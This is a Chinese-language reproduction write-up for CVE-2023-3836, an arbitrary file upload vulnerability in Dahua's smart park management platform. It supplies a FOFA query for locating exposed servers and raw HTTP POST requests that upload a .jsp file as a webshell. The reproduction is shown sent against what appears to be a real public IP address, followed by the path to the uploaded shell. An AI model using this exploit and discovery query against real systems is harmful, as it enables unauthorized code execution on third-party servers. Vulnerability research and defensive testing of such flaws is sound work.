CVE-2023-3836：大华智慧园区综合管理平台任意文件上传漏洞复现

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

在大华智慧园区管理中发现了一个被归类为严重的漏洞，最高可达20230713。此漏洞影响文件 /emap/devicePoint_addImgIco？hasSubsystem=true 的未知代码。对参数上传的操作会导致无限制上传。攻击可以远程发起。该漏洞已向公众披露，并可能被使用。

0x03 影响范围

大华智慧园区综合管理平台

0x04 漏洞环境

fofa：“/WPMS/asset/lib/gridster/”

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC （POST）

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: ip:port
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Length: 228
Content-Type: multipart/form-data; boundary=f3aeb22be281d77542546a2f71e20982

--f3aeb22be281d77542546a2f71e20982
Content-Disposition: form-data; name="upload"; filename="***.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

******
--f3aeb22be281d77542546a2f71e20982--

3.复现

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: 202.96.139.59:9080
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Length: 228
Content-Type: multipart/form-data; boundary=f3aeb22be281d77542546a2f71e20982

--f3aeb22be281d77542546a2f71e20982
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

123456
--f3aeb22be281d77542546a2f71e20982--

访问上传文件
shell地址链接：

http://127.0.0.1/upload/emap/society_new/ico_res_**********.jsp

注意：ico_res_**********.jsp 替换成上传数据包回显的文件名